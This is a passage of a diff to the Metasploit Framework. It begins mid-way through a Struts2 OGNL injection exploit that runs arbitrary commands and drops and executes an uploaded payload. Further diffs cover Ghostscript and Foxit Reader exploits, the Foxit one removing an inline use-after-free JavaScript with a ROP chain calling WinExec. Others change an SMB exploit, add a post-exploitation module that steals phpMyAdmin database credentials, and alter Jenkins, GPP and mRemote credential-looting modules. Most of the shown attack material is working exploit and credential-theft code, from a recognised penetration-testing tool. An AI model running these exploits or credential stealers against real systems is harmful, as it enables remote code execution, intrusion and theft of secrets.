datastore['ENABLE_STATIC'] = true
CheckCode::Vulnerable
else
CheckCode::Safe
end
elsif resp && resp.code==400
# METHOD 2: Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b
ognl = "#{a}+#{b}"
resp = send_struts_request(ognl)
if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
end
def exploit
case payload.arch.first
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload()
end
end
def encode_ognl(ognl)
# Check and fail if the command contains the follow bad characters:
# ';' seems to terminates the OGNL statement
# '/' causes the target to return an HTTP/400 error
# '\' causes the target to return an HTTP/400 error (sometimes?)
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely
# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
print_error("Bad OGNL request: #{ognl}")
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
end
end
# The following list of characters *must* be encoded or ORNL will asplode
encodable_chars = { "%": "%25", # Always do this one first. :-)
" ": "%20",
"\"":"%22",
"#": "%23",
"'": "%27",
"<": "%3c",
">": "%3e",
"?": "%3f",
"^": "%5e",
"`": "%60",
"{": "%7b",
"|": "%7c",
"}": "%7d",
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
}
encodable_chars.each do |k,v|
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
ognl.gsub!("#{k}","#{v}")
end
return ognl
end
def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end
ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
headers = {'Keep-Alive': 'timeout=5, max=1000'}
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"
resp = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end
resp
end
def profile_target
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
'os.arch': nil, # e.g. 'amd64'
'os.version': nil, # e.g. '4.4.0-112-generic'
'user.name': nil, # e.g. 'root'
#'user.home': nil, # e.g. '/root' (didn't work in testing)
'user.language': nil, # e.g. 'en'
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
}
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|('#{rand_text_alpha(2)}')|
properties.each do |k,v|
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
end
ognl = ognl[0...-4]
r = send_struts_request(ognl)
if r.code == 400
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
elsif r.headers['Location']
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
# Extract the OGNL output from the Location path, and strip the two random chars
s = r.headers['Location'].split('/')[1][2..-1]
if s.nil?
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
# But we didn't get any output, so we can't profile the target. Abort.
return nil
end
# Confirm that all fields were returned, and non include extra (:) delimiters
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
if s.count(':') > properties.length
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
end
# Separate the colon-delimited properties and store in the 'properties' hash
s = s.split(':')
i = 0
properties.each do |k,v|
properties[k] = s[i]
i += 1
end
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
return properties
else
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
cmd = cmd_input
end
# The following OGNL will run arbitrary commands on Windows and Linux
# targets, as well as returning STDOUT and STDERR. In my testing,
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
vprint_status("Executing: #{cmd}")
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start()).|
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
ognl << %q|(#r.flush())|
r = send_struts_request(ognl)
if r && r.code == 200
print_good("Command executed:\n#{r.body}")
elsif r
if r.body.length == 0
print_status("Payload sent, but no output provided from server.")
elsif r.body.length > 0
print_error("Failed to run command. Response from server: #{r.to_s}")
end
end
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
elsif r && r.headers['Location']
vprint_error("RESPONSE: " + r.headers['Location'])
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
elsif r && r.code == 400
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
end

View File

@ -110,7 +110,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/xml',
'data' => xstream_payload(cmd)
)

View File

@ -10,14 +10,17 @@ class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
'Description' => %q{
'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
'Description' => %q{
This module exploits a type confusion vulnerability in Ghostscript that can
be exploited to obtain arbitrary command execution. This vulnerability affects
Ghostscript version 9.21 and earlier and can be exploited through libraries
Ghostscript versions 9.21 and earlier and can be exploited through libraries
such as ImageMagick and Pillow.
For more recent Ghostscript vectors, please see the following modules:
exploit/multi/fileformat/ghostscript_failed_restore
},
'Author' => [
'Author' => [
'Atlassian Security Team', # Vulnerability discovery
'hdm' # Metasploit module
],
@ -28,30 +31,20 @@ class MetasploitModule < Msf::Exploit
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
],
'DisclosureDate' => 'Apr 27 2017',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat bash-tcp'
}
'DisclosureDate' => 'Apr 27 2017',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'BadChars' => "\x22\x27\x5c)(" # ", ', \, (, and )
},
'Targets' => [
'Targets' => [
['EPS file', template: 'msf.eps']
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'LHOST' => Rex::Socket.source_address,
'DisablePayloadHandler' => false,
'WfsDelay' => 9001
},
'Notes' => {
'AKA' => [ 'ghostbutt' ]
'DefaultTarget' => 0,
'Notes' => {
'AKA' => [ 'ghostbutt' ]
}
))

View File

@ -22,7 +22,12 @@ class MetasploitModule < Msf::Exploit
The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
(discovered by taviso) to achieve RCE in the Ghostscript delegate.
Ghostscript versions 9.18 and later are affected.
Ghostscript versions 9.18 and later are affected. This target is
provided as is and will not be updated to track additional vulns.
For more recent Ghostscript vectors, please see the following modules:
exploit/multi/fileformat/ghostscript_failed_restore
exploit/unix/fileformat/ghostscript_type_confusion
If USE_POPEN is set to true, a |-prefixed command will be used for the
exploit. No delegates are involved in this exploitation.
@ -30,6 +35,7 @@ class MetasploitModule < Msf::Exploit
'Author' => [
'stewie', # Vulnerability discovery
'Nikolay Ermishkin', # Vulnerability discovery
'Tavis Ormandy', # Vulnerability discovery
'wvu', # Metasploit module
'hdm' # Metasploit module
],
@ -41,7 +47,8 @@ class MetasploitModule < Msf::Exploit
%w{URL http://seclists.org/oss-sec/2016/q3/682},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669},
%w{AKA ImageTragick}
],
'DisclosureDate' => 'May 3 2016',
'License' => MSF_LICENSE,

View File

@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
])
end
def pdfdoc
def get_pdf
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
fname << '.exe' unless fname.ends_with?('.exe')
@ -84,140 +84,20 @@ class MetasploitModule < Msf::Exploit::Remote
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000;" % (i+12)}
<<~PDFDOC
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
#{rop}
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>
PDFDOC
begin
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf'))
pdf_doc = ERB.new(template).result(binding())
pdf_doc
rescue Errno::ENOENT
fail_with(Failure::NotFound, 'The PDF template was not found')
end
end
def exploit
mypdf = pdfdoc
if mypdf.nil?
my_pdf = get_pdf
if my_pdf.nil?
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
end
file_create(mypdf)
file_create(my_pdf)
end
end

View File

@ -325,7 +325,7 @@ class MetasploitModule < Msf::Exploit::Remote
def smb1_anonymous_connect_ipc
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, domain: smb_domain, password: smb_pass)
response_code = client.login
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
@ -368,7 +368,7 @@ class MetasploitModule < Msf::Exploit::Remote
def smb1_free_hole(start)
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, domain: smb_domain, password: smb_pass)
client.negotiate
pkt = ""
@ -699,4 +699,18 @@ class MetasploitModule < Msf::Exploit::Remote
''
end
end
# Returns the value to be passed to SMB clients for
# the domain. If the user has not supplied a domain
# it returns an empty string to trigger an anonymous
# logon.
#
# @return [String] the domain value
def smb_domain
if datastore['SMBDomain'].present?
datastore['SMBDomain']
else
''
end
end
end

View File

@ -0,0 +1,71 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info={})
super(update_info(info,
'Name' => "Phpmyadmin credentials stealer",
'Description' => %q{
This module gathers Phpmyadmin creds from target linux machine.
},
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Chaitanya Haritash [bofheaded]',
'Dhiraj Mishra <dhiraj@notsosecure.com>'
]
))
end
def parse_creds(contents)
db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first
unless db_user && db_pass
print_error("Couldn't find PhpMyAdmin credentials")
return
end
print_good("User: #{db_user}")
print_good("Password: #{db_pass}")
print_status("Storing credentials...")
store_valid_credential(user: db_user, private: db_pass)
end
def run
print_line("\nPhpMyAdmin Creds Stealer!\n")
if session.platform.include?("windows")
print_error("This module is not compatible with windows")
return
end
conf_path = "/etc/phpmyadmin/config-db.php"
unless file_exist?(conf_path)
print_error("#{conf_path} doesn't exist on target")
return
end
print_good('PhpMyAdmin config found!')
res = read_file(conf_path)
unless res
print_error("You may not have permissions to read the file.")
return
end
print_good("Extracting creds")
parse_creds(res)
p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')
print_good("Config file located at #{p}")
end
end

View File

@ -53,7 +53,7 @@ class MetasploitModule < Msf::Post
if exists?(file)
f = read_file(file)
if datastore['STORE_LOOT']
loot_path = store_loot('credentials.xml', 'text/plain', session, f)
loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
vprint_status("File credentials.xml saved to #{loot_path}")
end
else

View File

@ -265,8 +265,9 @@ class MetasploitModule < Msf::Post
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
if !aborted
timer = 0
vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back")
while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
timeout = datastore['HANDLE_TIMEOUT']
vprint_status("Waiting up to #{timeout} seconds for the session to come back")
while !framework.jobs[listener_job_id].nil? && timer < timeout
sleep(1)
timer += 1
end

View File

@ -246,7 +246,7 @@ class MetasploitModule < Msf::Post
results.each do |result|
if datastore['STORE']
stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', session, xmlfile[:xml], filetype, xmlfile[:path])
print_good("XML file saved to: #{stored_path}")
print_line
end

View File

@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post
grab_user_profiles().each do |user|
next if user['LocalAppData'] == nil
tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml'
ng_path = user['AppData'] + '\\mRemoteNG\\confCons.xml'
get_xml(tmpath)
get_xml(ng_path)
end
@ -50,6 +50,8 @@ class MetasploitModule < Msf::Post
begin
if file_exist?(path)
condata = read_file(path)
loot_path = store_loot('mremote.creds', 'text/xml', session, condata, path)
vprint_good("confCons.xml saved to #{loot_path}")
parse_xml(condata)
print_status("Finished processing #{path}")
end

49
msfdb
View File

@ -56,13 +56,13 @@ require 'yaml'
}
def run_cmd(cmd, input = nil)
def run_cmd(cmd, input: nil, env: {})
exitstatus = 0
err = out = ""
puts "run_cmd: cmd=#{cmd}, input=#{input}" if @options[:debug]
puts "run_cmd: cmd=#{cmd}, input=#{input}, env=#{env}" if @options[:debug]
Open3.popen3(cmd) do |stdin, stdout, stderr, wait_thr|
Open3.popen3(env, cmd) do |stdin, stdout, stderr, wait_thr|
stdin.puts(input) if input
if @options[:debug]
err = stderr.read
@ -216,9 +216,9 @@ def init_db
run_psql("alter role #{@options[:msf_db_user]} with password '#{@msf_pass}'")
run_psql("alter role #{@options[:msftest_db_user]} with password '#{@msftest_pass}'")
run_cmd("createdb -p #{@options[:db_port]} -O #{@options[:msf_db_user]} -h 127.0.0.1 -U #{@options[:msf_db_user]} -E UTF-8 -T template0 #{@options[:msf_db_name]}",
"#{@msf_pass}\n#{@msf_pass}\n")
input: "#{@msf_pass}\n#{@msf_pass}\n")
run_cmd("createdb -p #{@options[:db_port]} -O #{@options[:msftest_db_user]} -h 127.0.0.1 -U #{@options[:msftest_db_user]} -E UTF-8 -T template0 #{@options[:msftest_db_name]}",
"#{@msftest_pass}\n#{@msftest_pass}\n")
input: "#{@msftest_pass}\n#{@msftest_pass}\n")
write_db_client_auth_config
restart_db
@ -641,16 +641,41 @@ end
def output_web_service_information
puts ''
puts 'MSF web service configuration complete'
puts 'Add the data service in msfconsole using the command:'
# build data services command based on install options
ds_cmd = "data_services --add --token #{@ws_api_token}"
ds_cmd << " --ssl --cert #{@options[:ssl_cert]}" if @options[:ssl]
ds_cmd << " --skip-verify" if skip_ssl_verify?
ds_cmd << " #{get_web_service_host}"
puts "#{ds_cmd}"
puts 'Connect to the data service in msfconsole using the command:'
puts "#{get_db_connect_command}"
puts ''
puts 'The username and password are credentials for the API account:'
puts "#{get_web_service_uri(path: '/api/v1/auth/account')}"
puts ''
persist_data_service
end
def persist_data_service
if ask_yn('Add data service connection to local msfconsole and persist as default?')
data_service_name = "local-#{@options[:ssl] ? 'https' : 'http'}-data-service"
data_service_name = ask_value('Data service connection name?', data_service_name)
# execute msfconsole commands to add and persist the data service connection
connect_cmd = get_db_connect_command(name: data_service_name)
cmd = "msfconsole -qx \"#{connect_cmd}; db_save; exit\""
if run_cmd(cmd) != 0
# attempt to execute msfconsole in the current working directory
if run_cmd(cmd, env: {'PATH' => ".:#{ENV["PATH"]}"}) != 0
puts 'Failed to run msfconsole and persist the data service connection'
end
end
end
end
def get_db_connect_command(name: nil)
# build db_connect command based on install options
connect_cmd = "db_connect"
connect_cmd << " --name #{name}" unless name.nil?
connect_cmd << " --token #{@ws_api_token}"
connect_cmd << " --cert #{@options[:ssl_cert]}" if @options[:ssl]
connect_cmd << " --skip-verify" if skip_ssl_verify?
connect_cmd << " #{get_web_service_uri}"
connect_cmd
end
def get_web_service_uri(path: nil)

View File

@ -147,7 +147,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
it "should show a help message" do
db.cmd_loot "-h"
expect(@output).to match_array [
"Usage: loot <options>",
"Usage: loot [options]",
" Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]",
" Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]",
" Del: loot -d [addr1 addr2 ...]",

View File

@ -140,6 +140,7 @@ class Msftidy
def check_ref_identifiers
in_super = false
in_refs = false
in_notes = false
cve_assigned = false
@lines.each do |line|
@ -153,6 +154,10 @@ class Msftidy
if in_super and line =~ /["']References["'][[:space:]]*=>/
in_refs = true
elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m
in_refs = false
elsif in_super and line =~ /["']Notes["'][[:space:]]*=>/
in_notes = true
elsif in_super and in_notes and line =~ /^[[:space:]]+\},*/m
break
elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/
identifier = $1.strip.upcase
@ -178,7 +183,7 @@ class Msftidy
warn("Invalid WPVDB reference") if value !~ /^\d+$/
when 'PACKETSTORM'
warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/
when 'URL' || 'AKA'
when 'URL'
if value =~ /^https?:\/\/cvedetails\.com\/cve/
warn("Please use 'CVE' for '#{value}'")
elsif value =~ /^https?:\/\/www\.securityfocus\.com\/bid\//
@ -194,12 +199,21 @@ class Msftidy
elsif value =~ /^https?:\/\/(?:[^\.]+\.)?packetstormsecurity\.(?:com|net|org)\//
warn("Please use 'PACKETSTORM' for '#{value}'")
end
when 'AKA'
warn("Please include AKA values in the 'notes' section, rather than in 'references'.")
end
end
# If a NOCVE reason was provided in notes, ignore the fact that the references might lack a CVE
if in_super and in_notes and line =~ /^[[:space:]]+["']NOCVE["'][[:space:]]+=>[[:space:]]+\[*["'](.+)["']\]*/
cve_assigned = true
end
end
# This helps us track when CVEs aren't assigned
info('No CVE references found. Please check before you land!') unless cve_assigned
unless cve_assigned
info('No CVE references found. Please check before you land!')
end
end
def check_self_class